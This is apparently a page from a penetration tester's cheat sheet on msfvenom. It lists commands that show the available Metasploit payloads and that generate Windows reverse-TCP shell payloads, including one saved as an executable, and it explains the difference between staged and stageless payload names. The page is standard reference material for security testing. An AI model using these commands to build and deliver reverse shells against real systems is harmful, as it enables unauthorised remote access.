> For the complete documentation index, see [llms.txt](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d4rk1337.gitbook.io/the-pentesters-cheat-sheet/misc/msfvenom.md).

# Msfvenom

> Msfvenom is the combination of payload generation and encoding.\
> [How to use msfvenom · rapid7/metasploit-framework Wiki · GitHub](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom)

Show available payloads

```bash
msfvenom -l payloads
```

Generate shell examples

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port>
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exe
```

## Stageless vs. staged payloads

Stageless

```bash
shell_reverse_tcp
```

Staged

```bash
shell/reverse_tcp
```